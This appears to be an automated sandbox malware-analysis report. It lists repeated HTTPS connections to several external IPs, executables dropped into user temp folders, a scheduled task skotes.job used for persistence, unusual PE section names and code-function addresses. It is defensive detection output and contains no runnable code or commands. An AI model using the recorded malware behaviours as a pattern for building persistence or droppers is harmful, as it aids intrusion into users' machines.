Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50414
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50415
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50429
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50449
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.2:443 -> 192.168.2.4:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.2:443 -> 192.168.2.4:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.2:443 -> 192.168.2.4:50190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50198 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.4:50199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.22:443 -> 192.168.2.4:50216 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.79.173.40:443 -> 192.168.2.4:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50347 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50348 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50346 version: TLS 1.2

System Summary

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe

File dump: service123.exe.12.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name:
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name:
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name:
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name: .idata
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name:
Source: random[2].exe.10.dr	Static PE information: section name:
Source: random[2].exe.10.dr	Static PE information: section name: .idata
Source: random[2].exe.10.dr	Static PE information: section name:
Source: 10d8464898.exe.10.dr	Static PE information: section name:
Source: 10d8464898.exe.10.dr	Static PE information: section name: .idata
Source: 10d8464898.exe.10.dr	Static PE information: section name:
Source: random[1].exe1.10.dr	Static PE information: section name:
Source: random[1].exe1.10.dr	Static PE information: section name: .idata
Source: ef3d6a004b.exe.10.dr	Static PE information: section name:
Source: ef3d6a004b.exe.10.dr	Static PE information: section name: .idata
Source: 5ff77f639c.exe.10.dr	Static PE information: section name:
Source: 5ff77f639c.exe.10.dr	Static PE information: section name: .rsrc
Source: 5ff77f639c.exe.10.dr	Static PE information: section name: .idata
Source: 5ff77f639c.exe.10.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6A62C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C6A62C0

Source: C:\Users\user\DocumentsJKEGIDGDGH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52AC60	0_2_6C52AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6C00	0_2_6C5E6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FAC30	0_2_6C5FAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57ECD0	0_2_6C57ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51ECC0	0_2_6C51ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EED70	0_2_6C5EED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64AD50	0_2_6C64AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8D20	0_2_6C6A8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ACDC0	0_2_6C6ACDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6D90	0_2_6C5B6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524DB0	0_2_6C524DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BEE70	0_2_6C5BEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600E20	0_2_6C600E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52AEC0	0_2_6C52AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C0EC0	0_2_6C5C0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A6E90	0_2_6C5A6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58EF40	0_2_6C58EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2F70	0_2_6C5E2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C526F10	0_2_6C526F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660F20	0_2_6C660F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FEFF0	0_2_6C5FEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C520FE0	0_2_6C520FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668FB0	0_2_6C668FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52EFB0	0_2_6C52EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4840	0_2_6C5F4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C570820	0_2_6C570820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AA820	0_2_6C5AA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6268E0	0_2_6C6268E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C558960	0_2_6C558960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C576900	0_2_6C576900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C9E0	0_2_6C63C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5549F0	0_2_6C5549F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E09B0	0_2_6C5E09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B09A0	0_2_6C5B09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DA9A0	0_2_6C5DA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59CA70	0_2_6C59CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CEA00	0_2_6C5CEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8A30	0_2_6C5D8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59EA80	0_2_6C59EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626BE0	0_2_6C626BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C0BA0	0_2_6C5C0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C538460	0_2_6C538460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AA430	0_2_6C5AA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C584420	0_2_6C584420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5664D0	0_2_6C5664D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BA4D0	0_2_6C5BA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64A480	0_2_6C64A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C578540	0_2_6C578540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624540	0_2_6C624540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C0570	0_2_6C5C0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668550	0_2_6C668550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C582560	0_2_6C582560
